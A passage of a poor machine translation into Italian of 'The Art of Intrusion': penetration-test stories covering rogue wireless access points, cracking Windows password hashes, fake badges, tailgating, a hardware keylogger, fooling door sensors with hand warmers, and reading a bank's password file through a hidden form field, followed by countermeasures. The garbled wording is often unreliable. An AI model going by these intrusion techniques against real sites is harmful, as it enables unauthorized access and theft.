Hanno scoperto una presa di rete in tempo reale, presumibilmente per la comodità di personale della società che volevano essere in grado di accedere alla rete aziendale lavorare durante le riunioni. Collegando un cavo Ethernet dal suo computer portatile a la presa a muro, Dustin rapidamente trovato ciò che si aspettava: Ha avuto accesso in la rete da dietro il firewall della società, che è stato un bando aperto zione nel sistema aziendale.

Come una scena che dovrebbe avere la *Mission Impossible* riproduzione di musica in Sullo sfondo, Dustin fissato alla parete un piccolo dispositivo di accesso wireless (Come quello della Figura 6-1) e inserito nella presa. Il dispositivo permetterebbe persone di Dustin di penetrare la rete Biotech da computer in una macchina o di un furgone parcheggiato nelle vicinanze, ma al di fuori Build- della società

ing. Trasmissioni di tale "punto di accesso wireless" dispositivo (WAP) può raggiungere distanze fino a 300 metri. Utilizzando una antenna direzionale ad alto guadagno permette di collegare al WAP nascosto da un distanza ancora maggiore.

Figura 6-1: dispositivo Wireless

del tipo usato nell'attacco.

Dustin favorisce unità di accesso wireless che operano on europea canali - che dà la sua squadra penna un deciso vantaggio, dal momento che la za quenze sono molto meno probabilità di essere rilevato. Inoltre, "Non ha l'aspetto di un Capitolo 6 La saggezza e la follia di Penetration Testing

127

punto di accesso wireless, in modo che non punta la gente fuori. Li ho lasciato in su a Finché un mese senza essere notato e portato giù ".

Quando si installa una di queste unità, Dustin mette anche un piccolo ma molto nota carta dall'aspetto ufficiale che legge, "Proprietà di Information Security Servizi. Non rimuovere".

Con temperature che si aggirano alle sette di seguito, né Dustin né il suo compagni di squadra, ora indossa jeans e T-shirt di rimanere in sincronia con il Immagine Biotech, ha voluto congelare i loro mozziconi off seduto in una macchina parcheggiata su

il lotto. Così hanno apprezzato il fatto che Biotech aveva offerto l'uso di una piccola stanza in una zona non protette di un edificio vicino. Niente di speciale, ma la stanza era calda, e nel raggio d'azione del dispositivo wireless. Essi erano collegate - per la società, un po' troppo ben collegato.

Mentre la squadra ha iniziato ad esplorare la rete di Biotech, il tentativo iniziale ricognizione situato a circa 40 macchine che eseguono Windows aveva un account amministrativo senza password, o con una password di *password word*. In altre parole, non avevano sicurezza a tutti, che, come notato in precedenza storie è purtroppo il caso sul lato di fiducia di reti aziendali,

con le aziende concentrandosi su perimetro controlli di sicurezza per mantenere il cattivo ragazzi, ma lasciando i padroni di casa al suo interno vulnerabile agli attacchi. Un malintenzionato che trova il modo di penetrare o aggirare il firewall è casa libera.

Una volta aveva compromesso una di quelle macchine, Dustin estratto tutto la password hash per ogni account e corse questo file attraverso il programma L0phtCrack.

L0phtCrack at Work

Su una macchina Windows, le password degli utenti sono memorizzati in forma criptata (un "Hash") in una zona chiamata la Gestione account di protezione (SAM); il le password non sono solo crittografati, ma criptati in forma strapazzate noto come "one-way hash", che significa l'algoritmo di crittografia convertire la password in chiaro per la sua forma crittografata, ma non in grado di convertire il modulo cifrato al testo in chiaro.

Il sistema operativo Windows memorizza due versioni del hash in SAM. Uno, il "hash LAN Manager," o LANMAN, è una versione precedente, un residuo dei giorni pre-NT. L'hash LANMAN è calcolata da la versione maiuscola della password dell'utente ed è diviso in due metà di sette caratteri ciascuno. A causa delle proprietà, questo tipo di hash è molto più facile da decifrare rispetto al suo successore, NT LAN Manager (NTLM), che tra le altre funzioni non converte la password caratteri maiuscoli.

A titolo di esempio, ecco un hash effettivo per un amministratore di sistema di un società non farò il nome:

L'arte dell'intrusione

128

Administrator: 500: AA33FDF289D20A799FB3AF221F3220DC: 0ABC818FE05A120233838B9131F36BB1 :::

La sezione tra due punti che inizia "AA33" e termina "20DC" è l'hash LANMAN. La sezione da "0ABC" a "6BB1" è il NTLM hash. Entrambi sono lunghe 32 caratteri, entrambi rappresentano la stessa password, ma il primo è molto più facile da decifrare e recuperare la password in chiaro. Poiché la maggior parte degli utenti sceglie una password che è o un nome o un semplice parola del dizionario, un attaccante di solito inizia impostando L0phtCrack (o

qualsiasi programma che sta utilizzando) per eseguire un "dictionary attack" - testing ogni parola nel dizionario per vedere se dimostra di essere la password dell'utente. Se il programma non ha successo con l'attacco del dizionario, la attaccante inizierà un "attacco a forza bruta", nel qual caso il programma cerca ogni possibile combinazione (ad esempio, AAA, AAB, AAC ... ABA, ABB, ABC, e così via), poi prova le combinazioni che includono lettere maiuscole e minuscole, numeri e simboli.

Un programma efficiente come L0phtCrack può rompere semplice, lineare le password (il genere che forse il 90 per cento della popolazione utilizza) in secondi. Il tipo più complicato può richiedere ore o giorni, ma quasi tutte le password degli account soccombono nel tempo.

Accesso

Dustin presto aveva incrinato la maggior parte delle password.

Ho provato l'accesso al controller di dominio primario con il [Amministratore] password e ha funzionato. Hanno usato lo stesso password sulla macchina locale come sul conto di dominio. Ora mi disporre di diritti di amministratore per l'intero dominio.

Un controller di dominio primario (PDC) mantiene il database master di account di utenti del dominio. Quando un utente accede al dominio, il PDC autentica la richiesta di accesso alle informazioni memorizzate nel PDC del database. Questo database master dei conti è anche copiato il backup controller di dominio (BDC) come precauzione in caso PDC va giù. Questa architettura è stata sostanzialmente modificata con il rilascio di Windows 2000. Queste versioni successive di Windows utilizzano quello che viene chiamato *attivo Directory*, ma per la compatibilità con le vecchie versioni di Windows, vi è almeno un sistema che funge da PDC per il dominio.

Aveva le chiavi del regno di Biotech, l'accesso a molti interni documenti etichettati o "uso interno". "confidenziale" A suo modo intenso, Dustin passava ore a raccogliere informazioni sensibili dal altamente confidenziali file di sicurezza di droga, che contengono informazioni dettagliate su possibili effetti negativi causati dai farmaci società stava studiando.

Capitolo 6 La saggezza e la follia di Penetration Testing

129

A causa della natura del business di Biotech, l'accesso a queste informazioni è rigorosamente regolata dalla Food and Drug Administration, e il successo del test di penetrazione dovrebbe costituire oggetto di una relazione formale tale agenzia.

Dustin anche guadagnato l'accesso alla banca dati dei dipendenti che ha dato il nome completo, account di posta elettronica, numero di telefono, il reparto, la posizione, e così via. Utilizzando queste informazioni, è stato in grado di selezionare un obiettivo per la prossima fase di il suo attacco. La persona che ha scelto era un amministratore di sistemi aziendali coinvolto nella supervisione del penetration test. "Ho capito, anche se ho già avuto un sacco di informazioni sensibili, ho voluto dimostrare che ci sono stati più vettori di attacco", cioè più di un modo per compromettere informazioni. Il team Callisma aveva imparato che se si vuole entrare in una zona sicura, non c'è modo migliore che si fondono in un gruppo di occupazione loquace ees ritorno da pranzo. Rispetto alle ore mattutine e serali quando le persone possono essere tagliente e irritabile, dopo pranzo tendono ad essere meno vigili, forse sentendosi un po' loggia come sistema digerisce il pasto recente.

La conversazione è cordiale, e il cameratismo è pieno di flusso libero spunti sociali. Un trucco preferito di Dustin è quello di notare qualcuno sta preparando di lasciare la mensa. Che sarà lui a camminare davanti al bersaglio e tenere la porta per lui, poi seguire. Nove volte su dieci - anche se porta a un assicurato zona - l'obiettivo sarà ricambiare gentilmente tenendo la porta aperta per lui. Ed è in, senza sudore.

Allarmato

Una volta che era stato scelto il bersaglio, la squadra aveva bisogno di trovare un modo per entrare fisicamente nella zona protetta, in modo da poter collegare alla destinazione del computer di un *keystroke logger* - un dispositivo che registra ogni tasto digitato sulla tastiera, anche tasti digitati all'avvio, prima che il sistema operativo aveva caricato. Sul computer di un amministratore di sistema, questo sarebbe probabilmente inter-password CEPT di una varietà di sistemi in rete. Potrebbe anche significare i tester penna sarebbero a conoscenza di messaggi su eventuali tentativi di rilevare le loro imprese.

Dustin è stato determinato per non rischiare di essere catturati tailgating. Un po' ingegneria sociale è stato chiamato per. Con libero accesso alla hall e Cafeteria, si è ottenuto un buon sguardo ai badge dei dipendenti e impostare su contraffazione una per sé. Il logo era un problema - ha semplicemente copiato dal sito Web aziendale e incollato nella sua progettazione. Ma Non avrebbe bisogno di passare un esame di primo piano, ne era sicuro. Una serie di uffici Biotech era situato in un edificio vicino, un condiviso facilità con uffici affittata a diverse aziende. La lobby aveva una guardia in servizio, anche di notte e nei fine settimana, e un familiare L'arte dell'intrusione

130

lettore di schede che apre la porta dalla lobby, quando un dipendente strisciato un badge con la codifica elettronica corretto.

Vado durante il fine settimana, iniziano a lampeggiare il falso distintivo che avevo fatta. Sto lampeggiante il badge sul lettore e, naturalmente, non funziona. La guardia di sicurezza arriva, apre la porta, e sorrisi. Sorrido indietro, e saltare da lui.

Senza dire una parola che passa tra di loro, Dustin aveva ottenuto successo oltre la guardia, nella zona protetta.

Ma gli uffici Biotech giacevano ancora sicuro dietro ancora un altro lettore.

Traffico Weekend nell'edificio era pari a zero.

Non c'è nessuno nel fine settimana per portellone attraverso. Così, trying di trovare un mezzo alternativo di ingresso, vado su una vetrata in scala al secondo livello e figura cercherò la porta e vedere se apre o meno. Apro, si apre fino, non c'è distintivo requisito.

Ma gli allarmi stanno andando fuori ovunque. A quanto pare sto andando in ciò che è essenzialmente una scala antincendio. Io salto dentro, la porta sbatte dietro di me. Al suo interno, c'è un cartello, "non aprire, allarme suonerà. "Il mio cuore batte 100 miglia all'ora.

The Ghost

Dustin sapeva esattamente che cubicolo a testa per. Il database dei dipendenti la squadra aveva compromesso elencato effettiva posizione del cubo fisica per ogni lavoratore. Con il campanello d'allarme risuonano ancora nelle orecchie, si diresse verso il

cubicolo del suo bersaglio.

Un utente malintenzionato può catturare le sequenze di tasti su un computer con l'installazione di soft-

ware in grado di registrare ogni tasto digitato, e periodicamente invia i dati a un indirizzo specificato. Ma, determinato a dimostrare al cliente che erano vulnerabili ad essere penetrato in una varietà di modi, Dustin voleva utilizzare un mezzo fisico per fare la stessa cosa.

Il dispositivo ha scelto per lo scopo era la Keyghost (vedere Figura 6-2).

Questo è un oggetto innocente che collega tra la tastiera

e il computer, e, a causa delle sue dimensioni in miniatura, è quasi garantita

passare inosservato. Un modello può contenere fino a mezzo milione di combinazioni di tasti, che per l'utente medio di computer rappresenta settimane di battitura. (C'è un

ribasso, tuttavia. L'attaccante deve fare un viaggio di ritorno al sito

Quando è il momento di recuperare il logger e leggere i dati.)

Capitolo 6 La saggezza e la follia di Penetration Testing

131

Figura 6-2: Il Keyghost keystroke logger.

Ci sono voluti solo pochi secondi per Dustin scollegare il cavo dalla tastiera del computer, collegare il Keyghost, e ricollegare il cavo. Come fare

rapidamente è stato molto sulla sua mente, perché «Sto assumendo che l'allarme

è sollevato, il conteggio del tempo verso il basso, le mie mani sono leggermente traballante. Sono

andando essere catturato. Tu non sai niente male è essenzialmente accadrà

perché io ho la mia, anche così, il adren- 'get-out-of-libera-carcere' carta, ma

Aline è sicuramente scorre. "

Non appena è stato installato il Keyghost, Dustin percorse il principale

scalinata, che lo ha atterrato nei pressi della stazione di sicurezza. Applicando un altro

dose di ingegneria sociale, ha sfacciatamente affrontato il problema.

Ho volutamente lasciato dalla porta che era proprio accanto alla Sicurezza. Invece di cercare di evitare di sicurezza per la mia strada fuori, sono andato direttamente a

[La guardia]. Ho detto: "Guarda, mi dispiace per far scattare l'allarme,

che mi è stato. Non ho mai venire a questo edificio, non ho pensato

che sarebbe successo, mi scuso veramente. "E la guardia disse:" Oh,

nessun problema. "

Poi saltò al telefono, quindi sto assumendo chiamò qualcuno

quando l'allarme è scattato e ora stava chiamando per dire "False

allarme, va bene. "

Non mi sono fermato in giro ad ascoltare.

Incontrastato

Il test penna era volgendo al termine. Dirigenti di sicurezza della società

era stato così sicuri che i tester penna non sarebbero in grado di penetrare

la rete e non sarebbe in grado di ottenere l'accesso fisico non autorizzato

agli edifici, ma nessun membro del team era stata contestata. Dustin aveva

lentamente, aumentano il "livello di rumore", rendendo la loro presenza sempre più evidente. Ancora niente.

Curioso di quanto potevano farla franca, diversi team di bro

bri ha avuto accesso a un edificio aziendale da tailgating, trascinare con

li un'antenna enorme un aggeggio in-your-face che ha avuto un vero e proprio

sforzo di trasportare. Alcuni dipendente avrebbe sicuramente notato questo dispositivo stravagante, chiedo a questo proposito, e fischiare.

Così, senza distintivi, la squadra ha vagato prima di Biotech di assicurato edifici e poi l'altro, per tre ore. Nessuno ha detto una sola cosa ad essi. Nessuno ha chiesto anche una semplice domanda come "Che diavolo è che cosa?" La risposta più forte è venuto da una guardia di sicurezza che è passato lì in un corridoio, ha dato loro uno sguardo strano, e si è trasferito per la sua strada ritirata out anche uno sguardo da sopra la spalla.

Il team ha concluso che Callisma, come nella maggior parte delle organizzazioni, chiunque poteva camminare in strada, portare le proprie attrezzature, vagare durante gli edifici, e non essere arrestato o ha chiesto di spiegare stessi e mostrano autorizzazione. Dustin e suoi compagni di squadra hanno avuto spinto la busta di un estremo senza sfida.

Scaldamani trucco

Si chiama un *richiesta di uscita* (REX), ed è una caratteristica comune a molti servizi business come Biotech di. All'interno di una zona sicura come una ricerca laboratorio, si avvicina a una porta per uscire e il tuo corpo innesca un calore o movimento sensore che rilascia il blocco in modo da poter uscire; se si sta portando, ad esempio, un rack di provette o spingendo un carrello ingombrante, non è necessario fermarsi e fumble con qualche dispositivo di sicurezza per ottenere l'apertura della porta. Dall'esterno la stanza, per entrare, si deve essere in possesso di un ID distintivo autorizzato alla lettore di schede, o pugno in un codice di sicurezza su una tastiera.

Dustin notato che un certo numero di porte a Biotech dotato di REX aveva un vuoto nella parte inferiore. Si chiese se poteva ottenere l'accesso da furbo il sensore. Se da fuori porta che poteva simulare la calore o moto di un corpo umano all'interno della stanza, potrebbe essere in grado di ingannare il sensore ad aprire la porta.

Ho comprato alcuni scaldamani, come si arriva in qualsiasi alimentazione esterna negozio. Normalmente, li metti in tasca per tenere in caldo. Lascio uno ottenere bello e caldo, poi agganciato a un filo rigido, che ho fatto scivolare sotto la porta e ha iniziato a pescare in alto verso il sensore, agitando avanti e indietro.

Abbastanza sicuro, è scattato il blocco.

Un'altra misura di sicurezza dato per scontato aveva appena morso la polvere.

In passato, ho fatto qualcosa di simile. Il trucco con il tipo di dispositivo di accesso di controllo atto a rilevare il movimento invece di calore deve spingere un pallone sotto la porta, tenendo fino alla fine aperta. Si riempie la palloncino con elio e legarlo fuori alla fine con una corda, poi mollare galleggiante up vicino al sensore e manipolarla. Come più calda mano di Dustin, con un po' di pazienza, il pallone farà il trucco.

Capitolo 6 La saggezza e la follia di Penetration Testing

Fine del Test

Le luci Biotech erano su, ma nessuno era a casa. Anche se il com-dirigenti società ha sostenuto che erano in esecuzione di rilevamento delle intrusioni stema sistemi, e anche prodotto diverse licenze per intrusioni host-based rilevamento, Dustin ritiene i sistemi non sono stati né accesi o no

uno è stato davvero controllando i registri.

Con il progetto volge al termine, il Keyghost doveva essere recuperato dalla scrivania dell'amministratore di sistema. Era rimasta in vigore per due settimane senza essere notato. Poiché il dispositivo si trovava in uno degli le aree più difficili da portellone, Dustin e un compagno di squadra ha colpito alla fine del Lunch Rush e saltò per afferrare la porta e tenerla aperta, come se essere utile, come un dipendente ha iniziato attraverso. Infine, per la prima e unica tempo, sono stati contestati. Il dipendente ha chiesto se avevano distintivi. Dustin afferrò la sua vita e il suo lampo falso distintivo, e che casuale movimento sembrava soddisfare. Non sembravano spaventati o imbarazzati, e il dipendente ha proseguito nella costruzione, permettendo loro di entrare come bene senza ulteriore sfida.

Dopo aver ottenuto l'accesso alla zona protetta, hanno fatto il loro modo di un con-Sala conferenza. Sul muro c'era una grande lavagna con terminali familiare logia scarabocchiato su di esso. Dustin e il suo collega si resero conto che erano in sala dove Biotech ha tenuto le loro riunioni di sicurezza IT, una stanza del com-società non avrebbe sicuramente voluto loro di essere in. In quel momento, loro sponsor entrò, e guardò sbalordito di trovarli lì. Tremante la testa, ha chiesto che cosa stessero facendo. Nel frattempo, altri rezza Biotech rezza persone stavano arrivando nella sala riunioni, tra cui il dipendente avevano tailgated alla porta d'ingresso dell'edificio.

Ci vide e disse al nostro sponsor, "Oh, vorrei solo farvi sapere che li ho sfidato sul modo in. "Questo tizio era in realtà orgoglioso che ci aveva sfidato. Imbarazzo è quello che dovrebbe avere stato sensazione, perché la sua sola sfida questione non era forte abbastanza per sapere se fossimo legittimo.

Il supervisore cui scrivania è stato attrezzato con la Keyghost arrivato anche per la riunione. Dustin ha sfruttato l'occasione e andò a suo cubicolo a reclamare il suo hardware.

Guardando indietro

A un certo punto, durante la prova, certo qualcuno avrebbe notato, Dustin e la squadra aveva sfacciatamente digitalizzata l'intera rete aziendale, fine fine. Non c'era una sola risposta a questa procedura invasiva. Nonostante comportamenti che Dustin descrive come "urlando e gridando," il cliente di L'arte dell'intrusione

134

persone mai notato qualsiasi degli attacchi. Anche i "rumorosi" scansioni della rete per individuare eventuali sistemi potenzialmente vulnerabili non erano mai stati notati.

Alla fine eravamo in scansioni di prendere enormi quantità di la larghezza di banda della rete. Era quasi come se si diceva, "Hey, prendere noi! "

Il team era stupito di come insensibile l'azienda sembrava essere, anche ben sapendo che i tester penna sarebbe tentare l'impossibile per irrompere.

Alla fine del test, è stato campane, fischietti, urlando, gridando, e crepitio pentole. Niente! Non una sola bandiera sollevata.

Questa era una favola. Nel complesso è stato il mio preferito in assoluto di prova.

Io

Nsight

Chiunque curioso l'etica di un consulente di sicurezza, il cui lavoro richiede scivolare in luoghi (sia letteralmente che metaforicamente) che un uscita Sider non dovrebbe essere, troverà le tecniche di Mudge e Dustin Dykes illuminante.

Mentre Mudge usato solo metodi tecnici in attacco ha descritto, Dustin utilizzato alcuni di ingegneria sociale. Ma non si sentiva molto bene a proposito. Non ha remore con gli aspetti tecnici del lavoro e ammette a godere di ogni momento di esso. Ma quando lui ha ingannare per faccia PLE a faccia, diventa scomoda.

Stavo cercando di razionalizzare il perché questo è. Perché uno strappo a me e l'altro ha alcun effetto? Forse stiamo educati a non mentire a persone, ma non ci insegnano l'etica del computer. Sono d'accordo che c'è generalmente meno scrupoli quando ingannare una macchina di ingannando il vostro prossimo.

Eppure, nonostante i suoi scrupoli, si sente regolarmente una scarica di adrenalina ogni volta tira fuori un liscio capperò ingegneria sociale.

Per quanto riguarda Mudge, penso che sia affascinante che, mentre scriveva un pop strumento di password di cracking lare, in altre aree si basa su metodi che sono lo stock-in-trade di hacker in tutto il mondo.

C

OUNTERMEASURES

Mudge ha identificato una regola firewall di default che ha permesso le connessioni in ingresso a qualsiasi TCP o UDP alta (oltre 1024) da qualsiasi pacchetto che aveva

Capitolo 6 La saggezza e la follia di Penetration Testing

135

porta di origine 53, che è la porta per DNS. Sfruttando questa configurazione, fu in grado di comunicare con un servizio sul computer di destinazione che alla fine gli ha permesso di accedere a un demone mount, che consente a un utente remoto di montare un file system. In questo modo, ha potuto per ottenere l'accesso al sistema sfruttando una debolezza NFS (network file system), e l'accesso guadagno alle informazioni sensibili.

La contromisura è quella di esaminare attentamente tutte le regole del firewall per garantire sono coerenti con la politica di sicurezza aziendale. Durante questo processo, tenere presente che chiunque può facilmente falsificare una porta di origine. Come tale, l'antincendio

muro deve essere configurato per consentire la connettività solo ai servizi specifici quando basando la regola sul numero di porta di origine.

Come accennato altrove in questo libro, è molto importante per garantire che entrambe le directory e file hanno permessi.

Dopo Mudge e colleghi hackerato con successo nel sistema, hanno installato programmi sniffer per catturare nome di login e password. Un contromisura efficace sarebbe utilizzando programmi basati su cripto protocolli grafici, come ssh.

Molte organizzazioni avranno politiche di password o altre credenziali di autenticazione per accedere ai sistemi informatici, ma sono inferiori su sistemi PBX o segreteria telefonica. Qui, il team L0pht aveva facilmente incrinato più password casella vocale appartenenti ai dirigenti al bersaglio società, che erano utilizzare password predefinite tipiche, come il 1111, 1234, o lo stesso come l'estensione del telefono. La contromisura ovvio è quello di

richiedere le password ragionevolmente sicure da impostare sul sistema voicemail.

(Incoraggiare i dipendenti a non utilizzare il pin bancomat sia!)

Per i computer che contengono informazioni sensibili, il metodo descritto nel capitolo per la costruzione di password utilizzando non stampabile speciale caratteri- creata con il Num Lock, tasto <Alt>, tastiera e numerico è altamente raccomandato.

Dustin è stato in grado di camminare liberamente nella sala conferenze del Biotech, dato che era situato in una zona pubblica. La camera aveva prese di rete in tempo reale che concollegato alla rete interna aziendale. Le aziende dovrebbero o display capaci queste prese di rete fino a quando necessario o separare la rete in modo che rete interna della società non è accessibile dalle aree pubbliche.

Un'altra possibilità sarebbe un sistema di autenticazione front-end richiede un nome account e una password validi prima di consentire alla persona comunicare.

Un metodo per mitigare gli attacchi tailgating è quello di modificare ciò che i psicologi chiamano la *norma gentilezza*. Attraverso la formazione adeguata, personale aziendali hanno bisogno per superare il disagio che molti di noi si sentono su sfidare un'altra persona, come spesso accade quando si entra un edificio o area di lavoro attraverso un ingresso protetto. Dipendenti correttamente

L'arte dell'intrusione

136

addestrato saprà domanda educatamente circa il distintivo quando è evidente che l'altra persona sta cercando di "tag along" con loro attraverso l'ingresso. La semplice regola dovrebbe essere questa: Chiedi, e se le per figlio non ha un distintivo, ne investe la sicurezza o la receptionist, ma non consentono stranieri per accompagnarvi in un ingresso protetto.

Realizzazione falsi badge di identificazione aziendale offre una tecnica troppo facile per entrare in un edificio apparentemente sicuro incontrastato. Anche la sicurezza guardie spesso non guardano un distintivo abbastanza da vicino per capire se è il prodotti autentici o un falso. Questo sarebbe più difficile da ottenere via con se il società costituita (e applicata) una politica che invita i dipendenti, contractor, e lavoratori temporanei per rimuovere i loro badge alla vista del pubblico quando lasciano l'edificio, privando aspiranti attaccanti con un sacco di opportunità di ottenere una buona occhiata al design distintivo.

Sappiamo tutti che le guardie di sicurezza non sono in corso per esaminare ciascun dipendente del Carta d'identità con un attento esame (che, dopo tutto, sarebbe un vicino impossibilità per anche una guardia di coscienza, quando i flussi di persone sfilano passato prima cosa al mattino e alla fine della giornata). Quindi, altri metodi di protezione contro l'ingresso indesiderato da un utente malintenzionato deve essere considerato. Installazione di lettori di schede elettroniche porta un grado molto maggiore di protezione. Ma in aggiunta, le guardie di sicurezza devono essere addestrati come sottoposto a fondo interrogare chiunque la cui carta non è riconosciuto dal lettore di schede, poiché, come suggerito nella storia, il problema non può essere un piccolo problema in il sistema, ma un attaccante di tentare di ottenere l'ingresso fisico.

Mentre la formazione di sensibilizzazione alla sicurezza a livello aziendale è cresciuta molto più comune, è quasi sempre manca in grande stile. Anche imprese con un programma attivo spesso trascurano la necessità di specializzazione formazione per i manager in modo che siano adeguatamente attrezzate per garantire che coloro che sotto di loro stanno seguendo le procedure obbligatorie.

Le aziende che non si allenano tutti i dipendenti in materia di sicurezza sono aziende con la sicurezza debole.

**T
HE
B
OTTOM
L
INE**

Non capita spesso che i lettori sia offerta l'opportunità di approfondire la conoscenza nel pensiero e le tattiche di chi ha contribuito significativamente al arsenale di strumenti di hacker. Mudge e L0phtCrack sono nella libri di storia.

Nella vista di del Callisma Dustin Dykes, aziende chiedendo una penetrazione Test strazione spesso a prendere decisioni contro i loro stessi interessi. Avrete sa mai quanto sia vulnerabile la vostra azienda è davvero fino a quando si autorizza un in piena regola, no esclusione di colpi test che permette di ingegneria sociale e fisicamente ingresso cal, nonché attacchi tecniche basate.

Capitolo 6 La saggezza e la follia di Penetration Testing
137

Pagina 159

Pagina 160

139

Capitolo 7

Of Course Your Bank

È sicuro - destra?

Se si tenta di rendere i sistemi a prova di errore, c'è sempre uno più sciocco che è più inventiva di te.

- Juhan

E

ven se altre organizzazioni non misurano nella loro sicurezza pratiche per sbarrare la porta agli hacker, almeno ci piacerebbe pensare che il nostro denaro è al sicuro, che nessuno può ottenere la nostra finanziaria informazioni o addirittura, incubo degli incubi, arrivare al nostro conto e impartire comandi che mettono i nostri soldi nelle loro tasche.

La cattiva notizia è che la sicurezza di molte banche e istituzioni finanziarie zioni non è buono come i responsabili che immaginare che è. Il se- storie se- illustrano il punto.

Io

N

F

ARAWAY

E

STONIA

Questa storia dimostra che a volte anche un ragazzo che non è un hacker può hackerare con successo in una banca. Non è una buona notizia per le banche, o per nessuno di noi.

Non ho mai visitato l'Estonia, e non può mai arrivare. Il nome con- Jures immagini di antichi castelli circondati da legni scuri e super- contadini stitious - il tipo di posto uno straniero non vuole andare

vagare senza un'ampia scorta di pali di legno e argento pallottole lascia. Questo stereotipo ignorante (aiutato con la banale orrore low-budget

Flicks fissati dell'Europa dell'Est boschi, borghi e castelli) risulta essere più di un po' imprecisa.

I fatti risultano essere molto diverso. L'Estonia è un buon affare più moderno di quanto mi immaginavo, come ho imparato da un hacker di nome Juhan che ci vive. Twenty-three-year-old Juhan vive da sola in una spaziosa quattro appartamento stanza nel cuore della città con "un soffitto molto alto e una molti colori. "

Estonia, ho imparato, è un piccolo paese di circa 1,3 milioni di euro (pari a circa il la popolazione della città di Filadelfia) bloccato tra la Russia e la Golfo di Finlandia. La capitale Tallinn è ancora segnato da una massiccia concrete condomini, monumenti grigi al Soviet-morto da tempo tentativo dell'impero per ospitare i suoi soggetti nel modo più economico possibile.

Juhan lamentava, "A volte quando la gente vuole sapere Estonia, chiedono cose come, 'Hai medici? Avete un università?' Ma il fatto è che l'Estonia si unisce l'Unione europea sul prima di maggio [2004]. "Molti estoni, dice, stanno lavorando verso la giorno in cui potranno uscire dalla loro angusto appartamento di epoca sovietica ad un piccola casa propria in un tranquillo sobborgo. E sognano di poter a "guidare una importazione affidabile." In effetti, molte persone hanno già le auto e sempre più persone stanno ottenendo loro case, "quindi è migliorare ogni anno ". E tecnologicamente, così, il paese non è stagnante, come Juhan spiegato:

Estonia già all'inizio degli anni novanta ha iniziato ad attuare l'infrastruttura della banca elettronica, bancomat e Internet banking. E 'molto moderno. In realtà, le imprese estoni forniscono tecnologia informatica e servizi ad altri paesi europei.

Si potrebbe pensare che questo avrebbe descritto il paradiso di un hacker: tutto ciò che Internet utilizzare e probabilmente modo dietro la curva, quando si tratta di sicurezza. Non così, secondo Juhan:

Per quanto riguarda la sicurezza in Internet, questo, in generale, è un buon posto a causa del fatto che il paese e comunità sono così piccole. È in realtà molto conveniente per i fornitori di servizi di implementare tecnologie. E, per quanto riguarda il settore finanziario, credo che il fatto che consente agli americani di effettuare una connessione è che l'Estonia non ha mai avuto una infrastruttura di assegni bancari - i controlli che si sta utilizzando per pagare un sacco di banconote nei negozi.

Pochissimi estoni mai andare in un ufficio della banca, dice. "La maggior parte delle persone hanno conti correnti, ma non sanno cosa sia un assegno bancario assomiglia. "

L'arte dell'intrusione

140

Non perché sono poco sofisticato di cose finanziarie, ma perché, in questo settore, almeno, sono più avanti di noi, come spiega Juhan: *Non abbiamo mai avuto una grande infrastruttura di banche. Già nel All'inizio degli anni novanta, avevamo iniziato l'attuazione della infrastruttura Struttura di banca elettronica e di Internet banking. Più di*

90 al 95 per cento delle persone e delle imprese che trasferiscono denaro tra loro utilizzano Internet banking.

E usano le carte di credito, o "carte bancarie" nella terminologia europea.

È più conveniente usare pagamento diretto in forma di Internet bancari o carte di credito, e non c'è proprio alcun motivo per le persone a utilizzare i controlli. A differenza dell'America, quasi tutti qui usano Internet per il settore bancario e per pagare le bollette

La Banca di Perogie

Juhan è stato pesantemente nei computer fin dalla tenera età di 10, ma non considera se stesso un hacker, solo un cappello bianco sul serio la sicurezza.

Intervistarlo era un problema - ha cominciato a imparare l'inglese in All'inizio la scuola in seconda elementare. Il giovane estone ha anche fatto un sacco di studiare e viaggiare all'estero, dandogli ulteriori opportunità di sviluppare le capacità di conversazione in inglese.

Una recente inverno in Estonia è stato particolarmente duro, con condizione polare le banche, neve tutt'intorno, e temperature fino a meno 25 gradi Celsius (13 gradi sotto zero Fahrenheit). Era così amaro che anche la gente del posto, che sono stati utilizzati per gli inverni gelidi, non volevano uscire a meno che non dovevano. Questo è stato un buon momento per un ragazzo di computer per rimanere incollato

al suo schermo, a caccia di qualcosa di abbastanza buono per catturare la sua attenzione.

Questo è ciò che Juhan stava facendo quando ha inciampato sul sito Web di quello che noi chiameremo la Banca di Perogie. Sembrava un obiettivo vale la pena esplorare.

Entrai nella sezione interattiva FAQ che permette alle persone di domande postali. Ho l'abitudine di guardare in forma pagina Web

Fonti. Ho sorta di appena avuto modo di un sito web e ho iniziato a guardare in esso. Sapete il processo da soli - si naviga intorno e basta navigare senza alcuno scopo strategico.

Vide che il file system era il tipo usato da Unix. Che immediatamente ridotto il tipo di attacchi che avrebbe provare. Visualizzazione del il codice sorgente di diverse pagine web rivelato una variabile nascosta che ha a un nome di file. Quando ha provato a cambiare il valore memorizzato nella nascosta elemento forma, "E 'diventato chiaro che non hanno fatto alcun tipo di richiesta di Capitolo 7 naturalmente il vostro Bank è sicuro - destra?

141

autenticazione. Quindi, se ho presentato in ingresso da un sito della banca o da un PC locale non importava al server della banca, "ha detto.

Ha cambiato gli attributi dell'elemento forma nascosta per puntare al file di password, che gli ha permesso di visualizzare il file di password per la sua schermo. Ha scoperto che le password non sono stati "in ombra", che si intende la forma standard crittografata della password di ogni account è stato visibile sul suo display. Così, fu in grado di scaricare le password criptate e correre attraverso un password cracker.

Programma password cracker di Juhan di scelta è stato un anno noto con il nome deliziosamente divertente di "John the Ripper", che ha corso con un dizionario inglese standard. Perché inglese invece di Estonian? "E ' pratica comune da queste parti per utilizzare le password in inglese. "Ma il fatto è che molti estoni hanno una buona conoscenza di base della lingua inglese. Il programma cracker non ci volle molto, solo circa 15 minuti sul suo PC,

poiché le password erano di base - semplici parole in inglese con alcune mero bri appiccicato alla fine. Uno di loro era d'oro: si riprese la radice Password, dandogli privilegi di amministratore. E c'era di più:

C'è questo servizio one telebanking che ha un nome commerciale che Non sono sicuro se devo citare qui, ma [ho trovato] un account per quel servizio. Sembrava che era probabilmente l'account di sistema in esecuzione i servizi su tale server.

Egli non andare oltre in questa direzione, spiegando che "avere le password era il punto in cui mi sono fermato. "La prudenza è il nome del gioco.

Potrei finire nei guai. Dopo tutto, io lavoro in informazioni rezza affari rezza. Ho avuto qualche motivazione di non fare alcun danno.

Ma la situazione sembrava troppo bello per essere vero. Ho pensato che potrebbe essere un vaso di miele, una trappola per attirare la gente come me e quindi ottenere prosecuted. Così ho contattato i miei superiori e hanno riferito alla banca.

